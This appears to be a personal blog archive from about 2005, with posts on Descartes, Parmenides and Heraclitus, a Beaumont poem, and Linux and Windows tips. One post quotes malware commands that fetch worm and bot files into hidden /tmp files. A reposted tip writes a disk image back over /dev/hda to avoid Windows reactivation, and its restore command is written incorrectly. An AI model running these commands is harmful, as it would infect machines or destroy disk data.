ThinkBlog

Updated some internal software tonight, including the forum software and some hit-tracking PHP stuff. Judging by some of the latest search strings, here are some quick answers to things I didn’t quite have, but almost.

• Hebrew verb “to kiss” is nashaq, Strong’s number 05401, pronounced with the first “a” like “aw” in “saw,” with the emphasis on the latter half of the word. It’s spelled Nun-Shin-Qoph (also spelled and identical with Nun-Sin-Qoph). Usually used where phileo is used in the Greek NT. See this page for details.
• Setting up a Canoscan scanner under Fedora Core X where X >=2 is fairly easy. Run xsane-config as root, let it yell at you, then try it as a normal user. (This seems to initialize it for me.) According to the Linux USB Scanners page, the Canoscans use a Plustek backend, which you can find here.
• Rafaello Sanzio (Raphael) actually included himself in the far right of the School at Athens (i.e., Scuola di Atene); you can find him beside Sodoma in the far right and center of the painting. He’s looking at you, wearing a cap on his head. (He signified hereby that he was very much on the scientific/Aristotelian end of things.) Here is a closeup of the fellow from this picture. You can find his self-portrait at this link, but the text is in Greek. Poli kalo!

Just in case you didn’t catch all that, I do check the logs (more than I should!), and I do notice who comes to the site and why you’re here. Thank you for your patronage; come back often and let me know if I can do anything to help you.

Francis Beaumont (1586-1616), On the Tombs in Westminster Abbey

Mortality, behold and fear!
What a change of flesh is here!
Think how many royal bones
Sleep within this heap of stones:
Here they lie had realms and lands,
Who now want strength to stir their hands:
Where from their pulpits seal’d with dust
They preach, ‘In greatness is no trust.’
Here’s an acre sown indeed
With the richest, royall’st seed
That the earth did e’er suck in
Since the first man died for sin:
Here the bones of birth have cried—
‘Though gods they were, as men they died.’
Here are sands, ignoble things,
Dropt from the ruin’d sides of kings;
Here’s a world of pomp and state,
Buried in dust, once dead by fate.

I was going through some old links tonight and found one that I’d looked up a couple of years ago as part of a project to research the contents of an old decaying book my grandmother gave me.

Near the end of the Fifth Meditation, Descartes sets out for consideration the idea that if there were not all these sensory inputs crowding out rational contemplation, we would recognize at once that God exists.

I agree, for probably much different reasons than he postulates, and I’m not sure I’d call it rational alone. Isn’t this what prayer–which may perhaps be called focused God-ward meditation and active communion therewith–is in its simplest form, being “self-controlled enough” to block out the physiological stuff that crowds into our minds?

He also says that before he knew God, he could know nothing with certainty; but that since he does, he can know potentially infinite things with perfect clarity. This seems a kind of typical hyperbole in Descartes’ writings: is he really thinking this through? Perhaps it’s consistent with his mind-body dualism to think that we could know things perfectly, but Christians don’t even claim to know God Himself perfectly, i.e., wholly and without defect. The ones that do are usually the farthest from the truth. And the ones who claim to know things perfectly because they know God, well, that didn’t seem to be quite the case with René himself, did it?

Another annoying instance of imprecision is near the end of the Sixth Meditation. Take this sentence: “This makes the mind feel the same thing whenever it is in the same condition, even though the other parts of the body can be differently arranged, as is proved by an infinity of experiments which it is not necessary to describe here” (em. added). Come, come, good sir. An infinity? Not necessary to describe an infinity, or impossible?–or rather, could you not cite a single example?

Further back in the same Meditation, he mentions something that seems to anticipate Kant’s Ding an Sich (the unknowable, perceivable but ultimately impenetrable “thing in itself”): “[…] something that is actually found in objects […].” Locke comes even closer to this.

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References.
René Descartes, Meditations on First Philosophy, translated by Laurence J. Laffleur (New York: Macmillan/Library of the Liberal Arts, 1951).

http://it.slashdot.org/comments.pl?sid=140581&cid=11783491

Thanks to infodragon at Slashdot, this is an advanced tip for how to restore your Windows system via a Gentoo Live CD (presumably also works with other live CDs like Knoppix, Phlak, or Helix). Caveat: data has to be on a separate drive. Here’s the info (click on the title for the comment on /. ):

I know this is a bit advanced so it is not for the “average” computer user. But what I do is…

Set up my computer the way I want it, All MS Software activated, such as office. (FYI this works with Windows Server 2003)

1. Boot to Gentoo Live CD
2. dd if=/dev/hda | bzip2 > /mnt/where/I/mounted/my/rev/drive (35GB ) (you can use external HD, or your favorite mass storage device)

When spyware or just general Windows Entropy slows the system down too much, I back up my data…
1. Boot to Gentoo Live CD
2. dd of=/mnt/where/I/mounted/my/rev/drive | bzip2 -d > /dev/hda
3. Reboot
4. Use windows normally, have to re-install games
5. …
6. Profit?

The one “Bad Thing”(TM) about this is that data has to be on a separate disk. You can also modify the above to use partitions and have all data on a different partition. Though with any windows reinstall it is a good idea to reformat, with slow version, the partition to NTFS. So you’d have to do this in either case.

Anyway This works well and gets around that stupid reactivation crap, now I’m *VERY* glad I do this.

And remember kids, ALWAYS backup your data on a normal basis. HDs will fail!!! There is no question, they will fail. If I was not clear let me repeat that, THEY WILL FAIL!!!!! You need backups, and if you do this as you should, the above process will be less of a fuss.

By the way, he’s right. Back up your data!

Note: this was a comment from “Microsoft to Disable Online Windows Activation,” Slashdot 08:07 Friday 25 February 2005.

http://home.ican.net/~arandall/Parmenides/

Parmenides is a fascinating fellow for his conception of that which exists. You can find a copy of his mostly-preserved book “On Nature” by clicking on the title of this post.

The power of his argument is that it’s so logical, and that’s the beauty of it for a number of reasons. He basically says that what is, IS and it could not be otherwise, nor could it be caused, but must be eternally extant, because for it not to have been would be for it to arise out of non-being, which is ridiculous (indeed, inconceivable: “neither may you know that which is not (for it is not to be accomplished) nor may you declare it” [28B.2 rev. Curd]).

He’s right, you know. You cannot conceive of non-being in its proper, “real” sense; all we may do is think of being, and put a negative in front of it. The void, for Parmenides, either has substance or does not exist; but think of it. Even the void must exist and have substance for us to be able to put a descriptor like a noun on it. You have a picture of the void in your head, which points to a concept of something that does actually exist–so that we can talk about it.

The logical consequence of Parmenides’ thinking, contra Heraclitus, is that you and I “is” as well–that is to say, we are not “parts of what is” or “fragments of all the being” but we are “is” and so is all that exists. So whether you live or die or whatever you do, you “is” (there’s no way to capture the Greek imperative better than using the present tense, at least in English). This seems to dovetail very well with Spinoza: God exists, and that which is, is a part of God (modes through which His attributes thought and extension are expressed). They arrive almost at the same spot: what is, cannot be otherwise, and all things are determined. That is a curiosity I’ll leave off for another day!

But there’s another logical consequence of Parmenides’ thoughts here, something he himself addresses. Ex nihilo nihil fit. Out of nothing, nothing proceeds. In other words, any genesis account–that is, the coming-to-being of the universe–is nonsense. He’s right, you know, logically. That’s why Creation is such a miracle. Whether you hold to an old-earth or young-earth hypothesis, string theory or any other sort of thing, God was its beginning and it could not have been otherwise because of the very miracle of creation—ex nihilo.

http://mylanguageexchange.com/

My girlfriend just told me about this site, where you can sign up to be a penpal to anyone in any country, who speaks a language you want to learn. You teach them English (oder Deutsch, o español, &c.), and teach you the language you want to learn. Some unlikely candidates on here, too, including Hebrew, Swahili, Assyrian, and others (a total at the time of this post of 115 languages). It’s much more in-depth than you might think.

Wouldn’t it be nice if everything that was despicable, ignoble, hateful, or detrimental introduced itself thus, with such clarity and precision?

Over the past weekend, I discovered the blog of an old friend of mine. We hadn’t really spoken in a very long time, probably a couple of years, but I felt like I was catching up on her life as I read through the posts.

But what really struck me was the honest transparency of her words, her doubts, her faith. Absolutely remarkable to me was the fact that she could articulate what she was thinking and put it out there with such clarity and glaring honesty … always honesty, that’s what I kept coming back to.

I started this site as a personal blog, and it really still is in the deepest sense of course; but there is always the temptation to relegate the deeply personal posts–the struggles, worries, everything that could possibly be used as ammunition against me at a later time, even years down the road–to either silence or private journals. When I was serving as secretary of the Philosophy Club at Greenville Technical College, there was a certain looming fear for us among certain of the professors about saying something that might come back to haunt us later, should we judge something to be different than what we’d already decided.

This kept us from making transcripts or verbatim catalogues of the meetings, though I tried to be faithful as possible in the records. I still wonder, though: why is it that we have to put ourselves up as being absolutely certain?

This is not a freedom that I will lightly allow myself. Heretofore you would be hard pressed to read openly of some crises of faith, trials of life, &c., except through the lines and behind the words themselves. This friend of mine of whose blog I have spoken tells of these very things with clarity and openness. (For respect of privacy I will add it to the linkblog only if I have her permission.)

Nevertheless, her refreshing perspective and openness has encouraged me to be a little more open myself. A very little, but at least that, mind you! Perhaps you’ll see an increase in the posts deposited in the “personal” category. Perhaps.

A professor of mine recently remarked that Shakespeare could be read and understood as a political theorist as much as a poet and a dreamer. Anyone else who might think this way have any articles or books on the subject, or is this party fodder on the lines of possible worlds (”what if”), popular metaphysics (”how many angels does it take to screw in a lightbulb”) and the like?

http://www.studioqb.com/Frustration/about.php

When the adrenaline starts pounding your heart against your ribcage and you think you’ve got it: BAM! You’re wrong. I think it’s the fact that there’s no fanfare at all when you lose–Mario doesn’t look at you and fall off the screen, Samus’ armor doesn’t shatter, your POV doesn’t simulate you being covered in blood and falling to the ground or being blown up–you’re just wrong–that makes this so aggravating.

Frustration: The Trivia Game is based upon the concept of measuring question difficulty based on when questions are answered correctly and incorrectly and correlating that data to create a 100-level ranking system for the questions. For players, the object of the game is to climb as far as possible up the levels by answering questions of increasing difficulty, and to try to beat the game by answering an entire stack of 100 questions.

If you try to answer the ones in the beginning too quickly, though, you’ll make a fool of yourself. Do you hear the voice of experience?

http://thinkforums.org/

Sorry to everyone who tried to access the forums earlier, I was working on them and ended up having to revamp things (and I got banned from my server while I was at work, so I sure couldn’t do it there!). Now running the latest version of phpBB with extra server-side measures to ensure your pleasure and goodness.

Now if I can just do a better forum logo…!

http://www.nature.com/neuro/journal/v8/n2/abs/nn1392.html

In the January 2005 issue of Nature Neuroscience, doctoral candidate Didier Grandjean and associates used fMRI (functional Magnetic Resonance Imaging) data of the brains of participants in their study while they were being exposed to different kinds of meaningless speech. (The voices of wrath: Brain responses to angry prosody in meaningless speech. 2005. Didier Grandjean, et al.)

Interestingly, even when changes in amplitude were factored out, the study found that, ultimately, people cannot help but pay attention to an angry voice. Even if the voice isn’t saying anything intelligible, when subjects are told to concentrate on one string of speech (input into one ear) they cannot help but attend to the other ear if it begins streaming enraged voices.

The unintelligibility part is interesting to me in that there are, if we can take these data and generalize, certain emotional responses that transcend language barriers.

Here’s another thought. Rage could, conceivably, help you lay down your life for a friend. Not that we all need to go out and try it, but if another person is being attacked–by a human or, presumably, an animal–shouting angrily at the attacker is highly likely to draw its attention away, if only for a moment. Hmm. What are your thoughts?

Users at most universities with access to EBSCOhost and other online journal providers can query for this (short!) paper that way; anyone can see the abstract by clicking on the title of this article.

http://www.linuxquestions.org/questions/showthread.php?s=&threadid=291708

Back up and running on this end again, doing well and running the Windows stuff pretty well at this point.

A friend of mine is having trouble on his Linux box, seems someone has put a respawning process that keeps executing two processes:

sh -c wget worm.linuxday.com.br -O /tmp/.linuxdayworm
sh -c wget bot.linuxday.com.br -O /tmp/.linuxdaybot;p

That’s … not right. Trying to connect on port 80 to worm.linuxday.com.br connects to nbtour.co.kr, but “host” reports it’s just an alias for another server. Googling turns up nil. Something about IRC, but who knows. Any ideas?

All right, I’m doing it. I’m going to dual-boot Win XP Pro and Fedora Core 3. I don’t have the time right now to dink with mplayer and all these other things to make stuff work when I need it to work. This should be fun; I haven’t installed Windows on this (relatively) new x86_64 box yet, so I’m looking forward to seeing the sweetness with which all things are handled. Or something. Someone wish me Viel Glück!

Vision
To provide an exchange for commentary and insights

ThinkBlog.org is a place where you can come for interesting discourse on psychology and philosophy, theology and tips on technology; a place to find helpful and useful links; and a place (via the Forums) to have your own voice heard. The spirit of ThinkBlog (and, of course, of the ThinkForums) is discussion, dialogue: a means by which to share your thoughts, arguments, reviews, tips, tricks, poetry, or anything you like in the vein four “cardinal disciplines.”

History
From personal project to public blog

In mid-2003, I was running a Red Hat Linux 9.0 server/workstation in my apartment and wanted a way to access some crucial files from my home. I relegated the idea to the back of my mind until I went to my then-roommate’s friend’s home page, which I shortly learned was running off of a server in his house, and using a free DNS provider to point to the machine. Ingenius! I signed up at No-IP and registered a free domain or two, downloaded the UNIX-based dynamic IP update client, and soon was able to connect from anywhere to my own server. All I wanted to be able to do in the first place was not to have to remember my (then constantly-shifting) IP in order to get to the SSH/SFTP server on my personal machine when I needed some files.

But it didn’t end there. Eventually, I had the SSH Linux server (soon also serving as NAT router, DHCP server, and caching DNS server!) running on the cable modem, with a couple of machines attached to the Linux box through a simple hub. At some point, my two pet projects became configuring iptables scripts by hand (I ended up using Dr. Bob Sully’s at Malibyte.net) and setting up an Apache 2.0 server under Windows XP on a separate machine with MySQL and PHP just for kicks, and forwarding the traffic to port 80 to that machine.

Eventually, the setup came to be thus. The cable modem was plugged into a five-port router, into which was plugged a CAT5e cable snaking along the walls of the place, behind the couch, around the door, behind my bed, along the wall, and into my closet—where my Linux HTTP, SSH, SFTP, DNS, and DHCP server/firewall sat. The website was run off of that for a long time, with intermittent glitches and various Linux-specific curiosities.

Now it’s off-site under the care of Quickpacket, and has become as you see it today, still a non-commercial, personal blog, plus a public forum. From an average of fifty hits per month in its original conception, the ThinkBlog now sees nearly an average of 100 times that per day (average pages per day is 1100+) and is still growing thanks to readers like you who encourage and propel its development.

Thank you all for your support.

Notes

• When you see a timestamped permalink ending in double zeroes (”??:??:00″), it means it was forward-posted; meaning I published it beforehand to become viewable at the stated time.
• The views expressed on the forums do not necessarily reflect those of the ThinkBlog, &c., &c.

Let’s say you want to watch a movie trailer in QuickTime™, like for the upcoming Ong Bak as a coworker of mine wanted to, but you’re on an old dark monitor whose tube is utterly shot so you need to maximize it (as said coworker was, and did). Good luck if you’re inside a browser like you should be.

Here’s how to get around that if you’re running Windows. You have to download the file in order to play it, right? And you can stretch the images in the normal QuickTime player, right? So it follows that you can put the URL of the file directly into the QT player (File -> Play Location…). How do you find it? Right-click on any part of the page that is text (i.e., not the QT movie), and click “View Source” (or, if you’re on a site that doesn’t allow right-clicking, either disable JavaScript temporarily or use the hotkey that allows you to View Source—Ctrl+U in Firefox). Do a search in this page for “.mov” (without the quotes). Unless two or more QuickTime movies are embedded in the page, the full line ending with this combination of four letters is the link directly to the movie. Select everything from “http://” to “.mov” and copy (Ctrl+C) the text you just highlighted. Put this into the QuickTime viewer’s “Play Location” dialog box, and when it starts loading, hit Ctrl+Enter to view it full-screen.

HTH!

http://www.news.uiuc.edu/news/05/0119kam.html

In light of a recent thread on the forums, I wonder if this would be a pure example of creativity vis-a-vis the novel putting together of that which already exists.

Something particularly appealing about that, in such a near-pathological way. (Thanks to Bruce Sterling at “Beyond the Beyond” for the link.)

http://www.dawgiestyle.com/blog/

One of my longest-standing and valued readers, Chris runs a blog at Dawgiestyle.com, the RSS to which I subscribe and read for insights about the latest technological advances and news in the IT industry (with insightful commentary and helpful links). Bookmark it and return often! Here’s what Chris has to say about his site:

Originally started to help me keep track of my PHP scripts, I post more now about open source software and security issues; my Linux, BSD, and software experiences; and helpful information for new admins of UNIX-like systems.

Syndicated in RSS 0.92, 1.0, 2.0, and Atom!

In fragment 39 of Heraclitus’ collected sayings, he proclaims that “Nature loves to hide.” A recurring theme for Heraclitus is that the majority of people do not attain to wisdom and true understanding, but rather think they have because of “much learning” (14). The best things are the most hidden for Heraclitus, and the hardest to find are the most rewarding. Yet “the mob” are deceived into thinking they have found the best because they teach each other, not realizing that “most people are bad” (11). If we take Heraclitus to mean by “nature” all that which exists, then the unified logos whose true nature is hidden to the many can only be understood by those who are faithful to apply all of their mind (28, 31), concentration (21), and senses (32, 34) to the task. Just as in the readily perceptible world, where gold is striven for but little is found (37), so do men who seek to understand nature-the logos itself-little gems of wisdom, each worth their labor, are recovered for much work. Since nature is not in plain view nor hopelessly concealed, it is shut off from fools but not from all but utter divinity (40, 52, 112). Furthermore, unity of apparent opposites as exemplified by fire-for instance, in that a flame is always changing by its nature, but seems the same (62, 75, 82)-is for Heraclitus the way in which nature “hides” from the immature inquirer. There is a constant flux to the logos, so that if one were to attempt to understand nature as it is, as soon as he could, it would have changed and become something different, even if it seemed the same. Those who seek to know the logos and do not foolishly think that they know all that there is when they are well-versed in what seems to be are, for Heraclitus, “the best” (108) and these are the only people who will be able to penetrate the secret of nature and enjoy in it the unity of opposites it contains. Ultimately, those who are among the best are the only ones who truly understand this word of Heraclitus: to understand that “nature loves to hide,” one must be wise enough to love to seek in it the logos it contains.

[I have set this to post to the site just as I’m stepping into the philosophy class for which this short defended exegesis was written. The numbers in this text are fragments in A Presocratics Reader: Selected Fragments and Testemonia, by McKirahan & Curd. If I haven’t corrected the numbering scheme to reflect the more uniform translations (catalogued by Diels & Kranz) by the time you see this, I’ll do that shortly.]